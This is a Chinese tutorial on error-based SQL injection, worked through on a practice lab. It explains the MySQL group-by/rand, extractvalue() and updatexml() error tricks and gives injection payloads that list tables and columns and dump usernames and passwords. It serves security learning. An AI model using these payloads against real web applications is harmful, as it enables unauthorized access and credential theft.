【sql注入漏洞-03】报错注入靶场实战-爱代码爱编程
报错注入
在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此可以进行报错注入
报错注入的原理:就是在错误信息中执行SQL语句。触发报错的方式很多,具体细节也不尽相同。报错注入有可能成功,也有可能不成功!可以多刷新几次
我们可以利用报错信息,获取数据库中的信息
[select concat(left(rand(),3),'^',(select version()),'^') as x,count(*) from information_schema.tables group by x;]
语句中的as是给concat(left(rand(),3,'^',(select version()),'^')起一个别名x 方便后面的聚合操作。此处as可以省略,直接写x即可。
[select concat(left(rand(),3),'^',(select version()),'^')x,count(*) from information_schema.tables group by x;]
如果关键的表被禁用了,可以采用如下语句
[select concat('^',version(),'^',floor(rand()*2))x,count(*) from (select 1 union select null union select !1)a group by x;]
如果rand()|count()被禁用了,可采用如下方式
[select min(@a:=1) from information_schema.tables group by concat('^',@@version,'^',@a:=(@a+1)%2);]
不依赖额外的函数和具体的表
[ select min(@a:=1) from (select 1 union select null union select !1)a group by concat('^', @@version, '^', @a:=(@a+1)%2);]
group by 重复键冲突(count()+floor()+rand()+group by组合)
and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
获取数据库名字
?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
group by报错注入详细解析
bug
关于group 不用聚合函数的报错,是mysql的bug编号为#8652.当使用rand()函数进行分组聚合时,会产生重复键的错误。
bug测试
@ 测试环境
登录mysql数据库
创建数据库,并写入数据
create database groupbyTest;
use groupbyTest;
create table rl (a int);
insert into rl values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
3.简单的查询
[select * from rl;]
[select left (rand(),3),a from rl group by 1]
由于rand()函数的存在,每次执行结果都是不同的。
[select left (rand(),3),a,count(*) from rl group by 1]
此处引入rand()函数,产生group by产生重复键冲突报错
注意:必须使用如下所示列的顺序
@ 其他语句
select round (rand(),1),a,count(*) from rl group by 1;
select a,count(*) from rl group by round(rand(),1);
select floor(rand()*2),a,count(*) from rl group by 1
SQL语句解析过程
#FROM
from 后面的表标识了这条语句要查询的数据源。
from 过程之后会形成一个虚拟的表VT1 。
#WHERE
WHERE对VT1过程中生成的临时表进行过滤,满足where子句的列被插入到VT2 。
#GROUP BY
GROUP BY会把VT2生成的表按照GROUP BY中的列进行分组,生成VT3 。
#HAVING
HAVING这个子句对VT3表中的不同分组进行过滤,满足HAVING条件的子句被加入到VT4表中。
#SELECT
SELECT这个子句对SELECT子句中的元素进行处理,生成VT5表。
计算表达式,计算SELECT子句的表达式,生成VT5-1
DISTINCT寻找VT5-1表中重复的列,并删掉,生成VT5-2
TOP从ORDER BY 子句定义的结果中,筛选出符合条件的列。生成VT5-3
extractvalue() 函数
?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+
获取数据库名字为security,并且被'^^'包裹
updatexml() 函数
and updatexml(1,concat('^',(需要查询的内容),'^'),1)
- 获取数据库名字
and updatexml(1,concat('^',(database()),'^'),1)
- 获取数据库表的名字
?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security' ),'^'),1) --+
页面显示的内容多于一行,所有需要在table_schema='security'后面加上limit 0,1显示第一行(显示第0行往下的一行,不包括第0行)
?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security'%20 limit 0,1),'^'),1) --+
limit 0,1 看第一行
select host,id,name from mysql.user limit 1; 看第一行
select host,id,name from mysql.user limit 2: 看前二行
select host,id,name from mysql.user limit 2,3; 第二行(不包括)往下三行
- 获取表中的字段
?id=1' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),'^'),1) -
获取users表中的字段为id,username,password
- 获取字段中的内容
?id=1' and updatexml(1,concat('^',(select group_concat(username,"--",password) from users limit 0,1 ),'^'),1) --+
获得两组账号和密码。
总结:
sql注入的简单口诀:
是否有回显 union联合查询注入
是否有报错 报错注入
是否有布尔类型状态 布尔盲注
绝招(没招的招) 延时注入